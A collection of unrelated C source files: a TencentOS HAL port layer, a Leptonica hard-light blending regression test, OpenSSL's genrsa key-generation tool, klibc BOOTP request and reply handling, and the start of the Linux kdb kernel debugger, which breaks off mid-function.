* Unless required by applicable law or agreed to in writing, software distributed under the License is
* distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "qcloud_iot_import.h"
#include "tos_k.h"
//#define PLATFORM_HAS_CMSIS
#ifdef PLATFORM_HAS_CMSIS
#include "cmsis_os.h"
#include "stm32l4xx_hal.h"
#endif
//TODO platform dependant
void HAL_SleepMs(_IN_ uint32_t ms)
{
(void)tos_sleep_hmsm(0,0,0, ms);
}
void HAL_Printf(_IN_ const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
fflush(stdout);
}
int HAL_Snprintf(_IN_ char *str, const int len, const char *fmt, ...)
{
va_list args;
int rc;
va_start(args, fmt);
rc = vsnprintf(str, len, fmt, args);
va_end(args);
return rc;
}
int HAL_Vsnprintf(_IN_ char *str, _IN_ const int len, _IN_ const char *format, va_list ap)
{
return vsnprintf(str, len, format, ap);
}
void *HAL_Malloc(_IN_ uint32_t size)
{
return tos_mmheap_alloc(size);
}
void HAL_Free(_IN_ void *ptr)
{
tos_mmheap_free(ptr);
}
void *HAL_MutexCreate(void)
{
k_mutex_t *mutex;
mutex = (k_mutex_t *)HAL_Malloc(sizeof(k_mutex_t));
if (!mutex) {
return K_NULL;
}
tos_mutex_create(mutex);
return (void *)mutex;
}
void HAL_MutexDestroy(_IN_ void *mutex)
{
k_err_t ret;
if (K_ERR_NONE != (ret = tos_mutex_destroy((k_mutex_t *)mutex))) {
HAL_Printf("osal_mutex_destroy err, err:%d\n\r", ret);
} else {
HAL_Free((void *)mutex);
}
}
void HAL_MutexLock(_IN_ void *mutex)
{
k_err_t ret;
if (K_ERR_NONE != (ret = tos_mutex_pend((k_mutex_t *)mutex))) {
HAL_Printf("osal_mutex_lock err, err:%d\n\r", ret);
}
}
int HAL_MutexTryLock(_IN_ void *mutex)
{
k_err_t ret;
if (K_ERR_NONE != (ret = tos_mutex_pend_timed((k_mutex_t *)mutex, 0))) {
HAL_Printf("osal_mutex_lock err, err:%d\n\r", ret);
return (int)ret;
}
return 0;
}
void HAL_MutexUnlock(_IN_ void *mutex)
{
k_err_t ret;
if (K_ERR_NONE != (ret = tos_mutex_post((k_mutex_t *)mutex))) {
HAL_Printf("osal_mutex_unlock err, err:%d\n\r", ret);
}
}
#if defined(PLATFORM_HAS_CMSIS) && defined(AT_TCP_ENABLED)
/*
* return void* threadId
*/
void * HAL_ThreadCreate(uint16_t stack_size, int priority, char * taskname,void *(*fn)(void*), void* arg)
{
osThreadId thread_t = (osThreadId)HAL_Malloc(sizeof(osThreadId));
osThreadDef(taskname, (os_pthread)fn, (osPriority)priority, 0, stack_size);
thread_t = osThreadCreate(osThread(taskname), arg);
if(NULL == thread_t){
HAL_Printf("create thread fail\n\r");
}
return (void *)thread_t;
}
int HAL_ThreadDestroy(void* threadId)
{
return osThreadTerminate(threadId);
}
void *HAL_SemaphoreCreate(void)
{
return (void *)osSemaphoreCreate(NULL, 1);
}
void HAL_SemaphoreDestroy(void *sem)
{
osStatus ret;
ret = osSemaphoreDelete ((osSemaphoreId)sem);
if(osOK != ret)
{
HAL_Printf("HAL_SemaphoreDestroy err, err:%d\n\r",ret);
}
}
void HAL_SemaphorePost(void *sem)
{
osStatus ret;
ret = osSemaphoreRelease ((osSemaphoreId) sem);
if(osOK != ret)
{
HAL_Printf("HAL_SemaphorePost err, err:%d\n\r",ret);
}
}
int HAL_SemaphoreWait(void *sem, uint32_t timeout_ms)
{
return osSemaphoreWait ((osSemaphoreId)sem, timeout_ms);
}
#endif
|
328707.c | /*====================================================================*
- Copyright (C) 2001 Leptonica. All rights reserved.
- This software is distributed in the hope that it will be
- useful, but with NO WARRANTY OF ANY KIND.
- No author or distributor accepts responsibility to anyone for the
- consequences of using this software, or for whether it serves any
- particular purpose or works at all, unless he or she says so in
- writing. Everyone is granted permission to copy, modify and
- redistribute this source code, for commercial or non-commercial
- purposes, with the following restrictions: (1) the origin of this
- source code must not be misrepresented; (2) modified versions must
- be plainly marked as such; and (3) this notice may not be removed
- or altered from any source or modified source distribution.
*====================================================================*/
/*
* hardlight_reg.c
*
*/
#include "allheaders.h"
static PIXA *TestHardlight(const char *file1, const char *file2,
L_REGPARAMS *rp);
main(int argc,
char **argv)
{
char fname[256];
PIX *pix;
PIXA *pixa;
L_REGPARAMS *rp;
if (regTestSetup(argc, argv, &rp))
return 1;
pixa = TestHardlight("hardlight1_1.jpg", "hardlight1_2.jpg", rp);
pix = pixaDisplay(pixa, 0, 0);
regTestWritePixAndCheck(rp, pix, IFF_PNG);
pixDisplayWithTitle(pix, 0, 0, NULL, rp->display);
pixaDestroy(&pixa);
pixDestroy(&pix);
pixa = TestHardlight("hardlight2_1.jpg", "hardlight2_2.jpg", rp);
pix = pixaDisplay(pixa, 0, 500);
regTestWritePixAndCheck(rp, pix, IFF_PNG);
pixDisplayWithTitle(pix, 0, 0, NULL, rp->display);
pixaDestroy(&pixa);
pixDestroy(&pix);
regTestCleanup(rp);
return 0;
}
static PIXA *
TestHardlight(const char *file1,
const char *file2,
L_REGPARAMS *rp)
{
PIX *pixs1, *pixs2, *pixr, *pixt1, *pixt2, *pixd;
PIXA *pixa;
PROCNAME("TestHardlight");
/* Read in images */
pixs1 = pixRead(file1);
pixs2 = pixRead(file2);
if (!pixs1)
return (PIXA *)ERROR_PTR("pixs1 not read", procName, NULL);
if (!pixs2)
return (PIXA *)ERROR_PTR("pixs2 not read", procName, NULL);
pixa = pixaCreate(0);
/* ---------- Test not-in-place; no colormaps ----------- */
pixSaveTiled(pixs1, pixa, 1, 1, 20, 32);
pixSaveTiled(pixs2, pixa, 1, 0, 20, 0);
pixd = pixBlendHardLight(NULL, pixs1, pixs2, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixd, IFF_PNG);
pixSaveTiled(pixd, pixa, 1, 1, 20, 0);
pixDestroy(&pixd);
pixt2 = pixConvertTo32(pixs2);
pixd = pixBlendHardLight(NULL, pixs1, pixt2, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixd, IFF_PNG);
pixSaveTiled(pixd, pixa, 1, 0, 20, 0);
pixDestroy(&pixt2);
pixDestroy(&pixd);
pixd = pixBlendHardLight(NULL, pixs2, pixs1, 0, 0, 1.0);
pixSaveTiled(pixd, pixa, 1, 0, 20, 0);
pixDestroy(&pixd);
/* ---------- Test not-in-place; colormaps ----------- */
pixt1 = pixMedianCutQuant(pixs1, 0);
if (pixGetDepth(pixs2) == 8)
pixt2 = pixConvertGrayToColormap8(pixs2, 8);
else
/* pixt2 = pixConvertTo8(pixs2, 1); */
pixt2 = pixMedianCutQuant(pixs2, 0);
pixSaveTiled(pixt1, pixa, 1, 1, 20, 0);
pixSaveTiled(pixt2, pixa, 1, 0, 20, 0);
pixd = pixBlendHardLight(NULL, pixt1, pixs2, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixd, IFF_PNG);
pixSaveTiled(pixd, pixa, 1, 1, 20, 0);
pixDestroy(&pixd);
pixd = pixBlendHardLight(NULL, pixt1, pixt2, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixd, IFF_PNG);
pixSaveTiled(pixd, pixa, 1, 0, 20, 0);
pixDestroy(&pixd);
pixd = pixBlendHardLight(NULL, pixt2, pixt1, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixd, IFF_PNG);
pixSaveTiled(pixd, pixa, 1, 0, 20, 0);
pixDestroy(&pixt1);
pixDestroy(&pixt2);
pixDestroy(&pixd);
/* ---------- Test in-place; no colormaps ----------- */
pixBlendHardLight(pixs1, pixs1, pixs2, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixs1, IFF_PNG);
pixSaveTiled(pixs1, pixa, 1, 1, 20, 0);
pixDestroy(&pixs1);
pixs1 = pixRead(file1);
pixt2 = pixConvertTo32(pixs2);
pixBlendHardLight(pixs1, pixs1, pixt2, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixs1, IFF_PNG);
pixSaveTiled(pixs1, pixa, 1, 0, 20, 0);
pixDestroy(&pixt2);
pixDestroy(&pixs1);
pixs1 = pixRead(file1);
pixBlendHardLight(pixs2, pixs2, pixs1, 0, 0, 1.0);
regTestWritePixAndCheck(rp, pixs2, IFF_PNG);
pixSaveTiled(pixs2, pixa, 1, 0, 20, 0);
pixDestroy(&pixs2);
pixDestroy(&pixs1);
pixDestroy(&pixs2);
return pixa;
}
|
206034.c | /*
* Copyright 1995-2021 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the Apache License 2.0 (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#include <openssl/opensslconf.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "apps.h"
#include "progs.h"
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/bn.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/pem.h>
#include <openssl/rand.h>
#define DEFBITS 2048
#define DEFPRIMES 2
static int verbose = 0;
static int genrsa_cb(EVP_PKEY_CTX *ctx);
typedef enum OPTION_choice {
OPT_ERR = -1, OPT_EOF = 0, OPT_HELP,
#ifndef OPENSSL_NO_DEPRECATED_3_0
OPT_3,
#endif
OPT_F4, OPT_ENGINE,
OPT_OUT, OPT_PASSOUT, OPT_CIPHER, OPT_PRIMES, OPT_VERBOSE,
OPT_R_ENUM, OPT_PROV_ENUM, OPT_TRADITIONAL
} OPTION_CHOICE;
const OPTIONS genrsa_options[] = {
{OPT_HELP_STR, 1, '-', "Usage: %s [options] numbits\n"},
OPT_SECTION("General"),
{"help", OPT_HELP, '-', "Display this summary"},
#ifndef OPENSSL_NO_ENGINE
{"engine", OPT_ENGINE, 's', "Use engine, possibly a hardware device"},
#endif
OPT_SECTION("Input"),
#ifndef OPENSSL_NO_DEPRECATED_3_0
{"3", OPT_3, '-', "(deprecated) Use 3 for the E value"},
#endif
{"F4", OPT_F4, '-', "Use the Fermat number F4 (0x10001) for the E value"},
{"f4", OPT_F4, '-', "Use the Fermat number F4 (0x10001) for the E value"},
OPT_SECTION("Output"),
{"out", OPT_OUT, '>', "Output the key to specified file"},
{"passout", OPT_PASSOUT, 's', "Output file pass phrase source"},
{"primes", OPT_PRIMES, 'p', "Specify number of primes"},
{"verbose", OPT_VERBOSE, '-', "Verbose output"},
{"traditional", OPT_TRADITIONAL, '-',
"Use traditional format for private keys"},
{"", OPT_CIPHER, '-', "Encrypt the output with any supported cipher"},
OPT_R_OPTIONS,
OPT_PROV_OPTIONS,
OPT_PARAMETERS(),
{"numbits", 0, 0, "Size of key in bits"},
{NULL}
};
int genrsa_main(int argc, char **argv)
{
BN_GENCB *cb = BN_GENCB_new();
ENGINE *eng = NULL;
BIGNUM *bn = BN_new();
BIO *out = NULL;
EVP_PKEY *pkey = NULL;
EVP_PKEY_CTX *ctx = NULL;
EVP_CIPHER *enc = NULL;
int ret = 1, num = DEFBITS, private = 0, primes = DEFPRIMES;
unsigned long f4 = RSA_F4;
char *outfile = NULL, *passoutarg = NULL, *passout = NULL;
char *prog, *hexe, *dece, *ciphername = NULL;
OPTION_CHOICE o;
int traditional = 0;
if (bn == NULL || cb == NULL)
goto end;
prog = opt_init(argc, argv, genrsa_options);
while ((o = opt_next()) != OPT_EOF) {
switch (o) {
case OPT_EOF:
case OPT_ERR:
opthelp:
BIO_printf(bio_err, "%s: Use -help for summary.\n", prog);
goto end;
case OPT_HELP:
ret = 0;
opt_help(genrsa_options);
goto end;
#ifndef OPENSSL_NO_DEPRECATED_3_0
case OPT_3:
f4 = RSA_3;
break;
#endif
case OPT_F4:
f4 = RSA_F4;
break;
case OPT_OUT:
outfile = opt_arg();
break;
case OPT_ENGINE:
eng = setup_engine(opt_arg(), 0);
break;
case OPT_R_CASES:
if (!opt_rand(o))
goto end;
break;
case OPT_PROV_CASES:
if (!opt_provider(o))
goto end;
break;
case OPT_PASSOUT:
passoutarg = opt_arg();
break;
case OPT_CIPHER:
ciphername = opt_unknown();
break;
case OPT_PRIMES:
if (!opt_int(opt_arg(), &primes))
goto end;
break;
case OPT_VERBOSE:
verbose = 1;
break;
case OPT_TRADITIONAL:
traditional = 1;
break;
}
}
/* One optional argument, the bitsize. */
argc = opt_num_rest();
argv = opt_rest();
if (argc == 1) {
if (!opt_int(argv[0], &num) || num <= 0)
goto end;
if (num > OPENSSL_RSA_MAX_MODULUS_BITS)
BIO_printf(bio_err,
"Warning: It is not recommended to use more than %d bit for RSA keys.\n"
" Your key size is %d! Larger key size may behave not as expected.\n",
OPENSSL_RSA_MAX_MODULUS_BITS, num);
} else if (argc > 0) {
BIO_printf(bio_err, "Extra arguments given.\n");
goto opthelp;
}
if (!app_RAND_load())
goto end;
private = 1;
if (ciphername != NULL) {
if (!opt_cipher(ciphername, &enc))
goto end;
}
if (!app_passwd(NULL, passoutarg, NULL, &passout)) {
BIO_printf(bio_err, "Error getting password\n");
goto end;
}
out = bio_open_owner(outfile, FORMAT_PEM, private);
if (out == NULL)
goto end;
if (!init_gen_str(&ctx, "RSA", eng, 0, NULL, NULL))
goto end;
EVP_PKEY_CTX_set_cb(ctx, genrsa_cb);
EVP_PKEY_CTX_set_app_data(ctx, bio_err);
if (EVP_PKEY_CTX_set_rsa_keygen_bits(ctx, num) <= 0) {
BIO_printf(bio_err, "Error setting RSA length\n");
goto end;
}
if (!BN_set_word(bn, f4)) {
BIO_printf(bio_err, "Error allocating RSA public exponent\n");
goto end;
}
if (EVP_PKEY_CTX_set1_rsa_keygen_pubexp(ctx, bn) <= 0) {
BIO_printf(bio_err, "Error setting RSA public exponent\n");
goto end;
}
if (EVP_PKEY_CTX_set_rsa_keygen_primes(ctx, primes) <= 0) {
BIO_printf(bio_err, "Error setting number of primes\n");
goto end;
}
if (verbose)
BIO_printf(bio_err, "Generating RSA private key, %d bit long modulus (%d primes)\n",
num, primes);
if (!EVP_PKEY_keygen(ctx, &pkey)) {
BIO_printf(bio_err, "Error generating RSA key\n");
goto end;
}
if (verbose) {
BIGNUM *e = NULL;
/* Every RSA key has an 'e' */
EVP_PKEY_get_bn_param(pkey, "e", &e);
if (e == NULL) {
BIO_printf(bio_err, "Error cannot access RSA e\n");
goto end;
}
hexe = BN_bn2hex(e);
dece = BN_bn2dec(e);
if (hexe && dece) {
BIO_printf(bio_err, "e is %s (0x%s)\n", dece, hexe);
}
OPENSSL_free(hexe);
OPENSSL_free(dece);
BN_free(e);
}
if (traditional) {
if (!PEM_write_bio_PrivateKey_traditional(out, pkey, enc, NULL, 0,
NULL, passout))
goto end;
} else {
if (!PEM_write_bio_PrivateKey(out, pkey, enc, NULL, 0, NULL, passout))
goto end;
}
ret = 0;
end:
BN_free(bn);
BN_GENCB_free(cb);
EVP_PKEY_CTX_free(ctx);
EVP_PKEY_free(pkey);
EVP_CIPHER_free(enc);
BIO_free_all(out);
release_engine(eng);
OPENSSL_free(passout);
if (ret != 0)
ERR_print_errors(bio_err);
return ret;
}
static int genrsa_cb(EVP_PKEY_CTX *ctx)
{
char c = '*';
BIO *b = EVP_PKEY_CTX_get_app_data(ctx);
int p = EVP_PKEY_CTX_get_keygen_info(ctx, 0);
if (!verbose)
return 1;
if (p == 0)
c = '.';
if (p == 1)
c = '+';
if (p == 2)
c = '*';
if (p == 3)
c = '\n';
BIO_write(b, &c, 1);
(void)BIO_flush(b);
return 1;
}
|
221772.c | /*
* BOOTP packet protocol handling.
*/
#include <sys/types.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <netinet/in.h>
#include "ipconfig.h"
#include "netdev.h"
#include "bootp_packet.h"
#include "bootp_proto.h"
#include "packet.h"
static uint8_t bootp_options[312] = {
[ 0] = 99, 130, 83, 99,/* RFC1048 magic cookie */
[ 4] = 1, 4, /* 4- 9 subnet mask */
[ 10] = 3, 4, /* 10- 15 default gateway */
[ 16] = 5, 8, /* 16- 25 nameserver */
[ 26] = 12, 32, /* 26- 59 host name */
[ 60] = 40, 32, /* 60- 95 nis domain name */
[ 96] = 17, 40, /* 96-137 boot path */
[138] = 57, 2, 1, 150, /* 138-141 extension buffer */
[142] = 255, /* end of list */
};
/*
* Send a plain bootp request packet with options
*/
int bootp_send_request(struct netdev *dev)
{
struct bootp_hdr bootp;
struct iovec iov[] = {
/* [0] = ip + udp headers */
[1] = {&bootp, sizeof(bootp)},
[2] = {bootp_options, 312}
};
memset(&bootp, 0, sizeof(struct bootp_hdr));
bootp.op = BOOTP_REQUEST, bootp.htype = dev->hwtype;
bootp.hlen = dev->hwlen;
bootp.xid = dev->bootp.xid;
bootp.ciaddr = dev->ip_addr;
bootp.secs = htons(time(NULL) - dev->open_time);
memcpy(bootp.chaddr, dev->hwaddr, 16);
DEBUG(("-> bootp xid 0x%08x secs 0x%08x ",
bootp.xid, ntohs(bootp.secs)));
return packet_send(dev, iov, 2);
}
/*
* Parse a bootp reply packet
*/
int bootp_parse(struct netdev *dev, struct bootp_hdr *hdr,
uint8_t *exts, int extlen)
{
dev->bootp.gateway = hdr->giaddr;
dev->ip_addr = hdr->yiaddr;
dev->ip_server = hdr->siaddr;
dev->ip_netmask = INADDR_ANY;
dev->ip_broadcast = INADDR_ANY;
dev->ip_gateway = hdr->giaddr;
dev->ip_nameserver[0] = INADDR_ANY;
dev->ip_nameserver[1] = INADDR_ANY;
dev->hostname[0] = '\0';
dev->nisdomainname[0] = '\0';
dev->bootpath[0] = '\0';
memcpy(&dev->filename, &hdr->boot_file, FNLEN);
if (extlen >= 4 && exts[0] == 99 && exts[1] == 130 &&
exts[2] == 83 && exts[3] == 99) {
uint8_t *ext;
for (ext = exts + 4; ext - exts < extlen;) {
int len;
uint8_t opt = *ext++;
if (opt == 0)
continue;
else if (opt == 255)
break;
len = *ext++;
switch (opt) {
case 1: /* subnet mask */
if (len == 4)
memcpy(&dev->ip_netmask, ext, 4);
break;
case 3: /* default gateway */
if (len >= 4)
memcpy(&dev->ip_gateway, ext, 4);
break;
case 6: /* DNS server */
if (len >= 4)
memcpy(&dev->ip_nameserver, ext,
len >= 8 ? 8 : 4);
break;
case 12: /* host name */
if (len > sizeof(dev->hostname) - 1)
len = sizeof(dev->hostname) - 1;
memcpy(&dev->hostname, ext, len);
dev->hostname[len] = '\0';
break;
case 15: /* domain name */
if (len > sizeof(dev->dnsdomainname) - 1)
len = sizeof(dev->dnsdomainname) - 1;
memcpy(&dev->dnsdomainname, ext, len);
dev->dnsdomainname[len] = '\0';
break;
case 17: /* root path */
if (len > sizeof(dev->bootpath) - 1)
len = sizeof(dev->bootpath) - 1;
memcpy(&dev->bootpath, ext, len);
dev->bootpath[len] = '\0';
break;
case 26: /* interface MTU */
if (len == 2)
dev->mtu = (ext[0] << 8) + ext[1];
break;
case 28: /* broadcast addr */
if (len == 4)
memcpy(&dev->ip_broadcast, ext, 4);
break;
case 40: /* NIS domain name */
if (len > sizeof(dev->nisdomainname) - 1)
len = sizeof(dev->nisdomainname) - 1;
memcpy(&dev->nisdomainname, ext, len);
dev->nisdomainname[len] = '\0';
break;
case 54: /* server identifier */
if (len == 4 && !dev->ip_server)
memcpy(&dev->ip_server, ext, 4);
break;
}
ext += len;
}
}
/*
* Got packet.
*/
return 1;
}
/*
* Receive a bootp reply and parse packet
*/
int bootp_recv_reply(struct netdev *dev)
{
struct bootp_hdr bootp;
uint8_t bootp_options[312];
struct iovec iov[] = {
/* [0] = ip + udp headers */
[1] = {&bootp, sizeof(struct bootp_hdr)},
[2] = {bootp_options, 312}
};
int ret;
ret = packet_recv(iov, 3);
if (ret <= 0)
return ret;
if (ret < sizeof(struct bootp_hdr) ||
bootp.op != BOOTP_REPLY || /* RFC951 7.5 */
bootp.xid != dev->bootp.xid ||
memcmp(bootp.chaddr, dev->hwaddr, 16))
return 0;
ret -= sizeof(struct bootp_hdr);
return bootp_parse(dev, &bootp, bootp_options, ret);
}
/*
* Initialise interface for bootp.
*/
int bootp_init_if(struct netdev *dev)
{
short flags;
/*
* Get the device flags
*/
if (netdev_getflags(dev, &flags))
return -1;
/*
* We can't do DHCP nor BOOTP if this device
* doesn't support broadcast.
*/
if (dev->mtu < 364 || (flags & IFF_BROADCAST) == 0) {
dev->caps &= ~(CAP_BOOTP | CAP_DHCP);
return 0;
}
/*
* Get a random XID
*/
dev->bootp.xid = (uint32_t) lrand48();
dev->open_time = time(NULL);
return 0;
}
|
59009.c | /*
* Kernel Debugger Architecture Independent Main Code
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*
* Copyright (C) 1999-2004 Silicon Graphics, Inc. All Rights Reserved.
* Copyright (C) 2000 Stephane Eranian <[email protected]>
* Xscale (R) modifications copyright (C) 2003 Intel Corporation.
* Copyright (c) 2009 Wind River Systems, Inc. All Rights Reserved.
*/
#include <linux/ctype.h>
#include <linux/string.h>
#include <linux/kernel.h>
#include <linux/kmsg_dump.h>
#include <linux/reboot.h>
#include <linux/sched.h>
#include <linux/sysrq.h>
#include <linux/smp.h>
#include <linux/utsname.h>
#include <linux/vmalloc.h>
#include <linux/atomic.h>
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/init.h>
#include <linux/kallsyms.h>
#include <linux/kgdb.h>
#include <linux/kdb.h>
#include <linux/notifier.h>
#include <linux/interrupt.h>
#include <linux/delay.h>
#include <linux/nmi.h>
#include <linux/time.h>
#include <linux/ptrace.h>
#include <linux/sysctl.h>
#include <linux/cpu.h>
#include <linux/kdebug.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include "kdb_private.h"
#ifdef CONFIG_MTK_EXTMEM
#include <linux/exm_driver.h>
#endif
#define GREP_LEN 256
char kdb_grep_string[GREP_LEN];
int kdb_grepping_flag;
EXPORT_SYMBOL(kdb_grepping_flag);
int kdb_grep_leading;
int kdb_grep_trailing;
/*
* Kernel debugger state flags
*/
int kdb_flags;
atomic_t kdb_event;
/*
* kdb_lock protects updates to kdb_initial_cpu. Used to
* single thread processors through the kernel debugger.
*/
int kdb_initial_cpu = -1; /* cpu number that owns kdb */
int kdb_nextline = 1;
int kdb_state; /* General KDB state */
struct task_struct *kdb_current_task;
EXPORT_SYMBOL(kdb_current_task);
struct pt_regs *kdb_current_regs;
const char *kdb_diemsg;
static int kdb_go_count;
#ifdef CONFIG_KDB_CONTINUE_CATASTROPHIC
static unsigned int kdb_continue_catastrophic =
CONFIG_KDB_CONTINUE_CATASTROPHIC;
#else
static unsigned int kdb_continue_catastrophic;
#endif
/* kdb_commands describes the available commands. */
static kdbtab_t *kdb_commands;
#define KDB_BASE_CMD_MAX 50
static int kdb_max_commands = KDB_BASE_CMD_MAX;
static kdbtab_t kdb_base_commands[KDB_BASE_CMD_MAX];
#define for_each_kdbcmd(cmd, num) \
for ((cmd) = kdb_base_commands, (num) = 0; \
num < kdb_max_commands; \
num++, num == KDB_BASE_CMD_MAX ? cmd = kdb_commands : cmd++)
typedef struct _kdbmsg {
int km_diag; /* kdb diagnostic */
char *km_msg; /* Corresponding message text */
} kdbmsg_t;
#define KDBMSG(msgnum, text) \
{ KDB_##msgnum, text }
static kdbmsg_t kdbmsgs[] = {
KDBMSG(NOTFOUND, "Command Not Found"),
KDBMSG(ARGCOUNT, "Improper argument count, see usage."),
KDBMSG(BADWIDTH, "Illegal value for BYTESPERWORD use 1, 2, 4 or 8, "
"8 is only allowed on 64 bit systems"),
KDBMSG(BADRADIX, "Illegal value for RADIX use 8, 10 or 16"),
KDBMSG(NOTENV, "Cannot find environment variable"),
KDBMSG(NOENVVALUE, "Environment variable should have value"),
KDBMSG(NOTIMP, "Command not implemented"),
KDBMSG(ENVFULL, "Environment full"),
KDBMSG(ENVBUFFULL, "Environment buffer full"),
KDBMSG(TOOMANYBPT, "Too many breakpoints defined"),
#ifdef CONFIG_CPU_XSCALE
KDBMSG(TOOMANYDBREGS, "More breakpoints than ibcr registers defined"),
#else
KDBMSG(TOOMANYDBREGS, "More breakpoints than db registers defined"),
#endif
KDBMSG(DUPBPT, "Duplicate breakpoint address"),
KDBMSG(BPTNOTFOUND, "Breakpoint not found"),
KDBMSG(BADMODE, "Invalid IDMODE"),
KDBMSG(BADINT, "Illegal numeric value"),
KDBMSG(INVADDRFMT, "Invalid symbolic address format"),
KDBMSG(BADREG, "Invalid register name"),
KDBMSG(BADCPUNUM, "Invalid cpu number"),
KDBMSG(BADLENGTH, "Invalid length field"),
KDBMSG(NOBP, "No Breakpoint exists"),
KDBMSG(BADADDR, "Invalid address"),
};
#undef KDBMSG
static const int __nkdb_err = ARRAY_SIZE(kdbmsgs);
/*
* Initial environment. This is all kept static and local to
* this file. We don't want to rely on the memory allocation
* mechanisms in the kernel, so we use a very limited allocate-only
* heap for new and altered environment variables. The entire
* environment is limited to a fixed number of entries (add more
* to __env[] if required) and a fixed amount of heap (add more to
* KDB_ENVBUFSIZE if required).
*/
static char *__env[] = {
#if defined(CONFIG_SMP)
"PROMPT=[%d]kdb> ",
#else
"PROMPT=kdb> ",
#endif
"MOREPROMPT=more> ",
"RADIX=16",
"MDCOUNT=8", /* lines of md output */
KDB_PLATFORM_ENV,
"DTABCOUNT=30",
"NOSECT=1",
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
(char *)0,
};
static const int __nenv = ARRAY_SIZE(__env);
struct task_struct *kdb_curr_task(int cpu)
{
struct task_struct *p = curr_task(cpu);
#ifdef _TIF_MCA_INIT
if ((task_thread_info(p)->flags & _TIF_MCA_INIT) && KDB_TSK(cpu))
p = krp->p;
#endif
return p;
}
/*
* kdbgetenv - This function will return the character string value of
* an environment variable.
* Parameters:
* match A character string representing an environment variable.
* Returns:
* NULL No environment variable matches 'match'
* char* Pointer to string value of environment variable.
*/
char *kdbgetenv(const char *match)
{
char **ep = __env;
int matchlen = strlen(match);
int i;
for (i = 0; i < __nenv; i++) {
char *e = *ep++;
if (!e)
continue;
if ((strncmp(match, e, matchlen) == 0)
&& ((e[matchlen] == '\0')
|| (e[matchlen] == '='))) {
char *cp = strchr(e, '=');
return cp ? ++cp : "";
}
}
return NULL;
}
/*
* kdballocenv - This function is used to allocate bytes for
* environment entries.
* Parameters:
* match A character string representing a numeric value
* Outputs:
* *value the unsigned long representation of the env variable 'match'
* Returns:
* Zero on success, a kdb diagnostic on failure.
* Remarks:
* We use a static environment buffer (envbuffer) to hold the values
* of dynamically generated environment variables (see kdb_set). Buffer
* space once allocated is never free'd, so over time, the amount of space
* (currently 512 bytes) will be exhausted if env variables are changed
* frequently.
*/
static char *kdballocenv(size_t bytes)
{
#define KDB_ENVBUFSIZE 512
static char envbuffer[KDB_ENVBUFSIZE];
static int envbufsize;
char *ep = NULL;
if ((KDB_ENVBUFSIZE - envbufsize) >= bytes) {
ep = &envbuffer[envbufsize];
envbufsize += bytes;
}
return ep;
}
/*
* kdbgetulenv - This function will return the value of an unsigned
* long-valued environment variable.
* Parameters:
* match A character string representing a numeric value
* Outputs:
* *value the unsigned long represntation of the env variable 'match'
* Returns:
* Zero on success, a kdb diagnostic on failure.
*/
static int kdbgetulenv(const char *match, unsigned long *value)
{
char *ep;
ep = kdbgetenv(match);
if (!ep)
return KDB_NOTENV;
if (strlen(ep) == 0)
return KDB_NOENVVALUE;
*value = simple_strtoul(ep, NULL, 0);
return 0;
}
/*
* kdbgetintenv - This function will return the value of an
* integer-valued environment variable.
* Parameters:
* match A character string representing an integer-valued env variable
* Outputs:
* *value the integer representation of the environment variable 'match'
* Returns:
* Zero on success, a kdb diagnostic on failure.
*/
int kdbgetintenv(const char *match, int *value)
{
unsigned long val;
int diag;
diag = kdbgetulenv(match, &val);
if (!diag)
*value = (int) val;
return diag;
}
/*
* kdbgetularg - This function will convert a numeric string into an
* unsigned long value.
* Parameters:
* arg A character string representing a numeric value
* Outputs:
* *value the unsigned long represntation of arg.
* Returns:
* Zero on success, a kdb diagnostic on failure.
*/
int kdbgetularg(const char *arg, unsigned long *value)
{
char *endp;
unsigned long val;
val = simple_strtoul(arg, &endp, 0);
if (endp == arg) {
/*
* Also try base 16, for us folks too lazy to type the
* leading 0x...
*/
val = simple_strtoul(arg, &endp, 16);
if (endp == arg)
return KDB_BADINT;
}
*value = val;
return 0;
}
int kdbgetu64arg(const char *arg, u64 *value)
{
char *endp;
u64 val;
val = simple_strtoull(arg, &endp, 0);
if (endp == arg) {
val = simple_strtoull(arg, &endp, 16);
if (endp == arg)
return KDB_BADINT;
}
*value = val;
return 0;
}
/*
* kdb_set - This function implements the 'set' command. Alter an
* existing environment variable or create a new one.
*/
int kdb_set(int argc, const char **argv)
{
int i;
char *ep;
size_t varlen, vallen;
/*
* we can be invoked two ways:
* set var=value argv[1]="var", argv[2]="value"
* set var = value argv[1]="var", argv[2]="=", argv[3]="value"
* - if the latter, shift 'em down.
*/
if (argc == 3) {
argv[2] = argv[3];
argc--;
}
if (argc != 2)
return KDB_ARGCOUNT;
/*
* Check for internal variables
*/
if (strcmp(argv[1], "KDBDEBUG") == 0) {
unsigned int debugflags;
char *cp;
debugflags = simple_strtoul(argv[2], &cp, 0);
if (cp == argv[2] || debugflags & ~KDB_DEBUG_FLAG_MASK) {
kdb_printf("kdb: illegal debug flags '%s'\n",
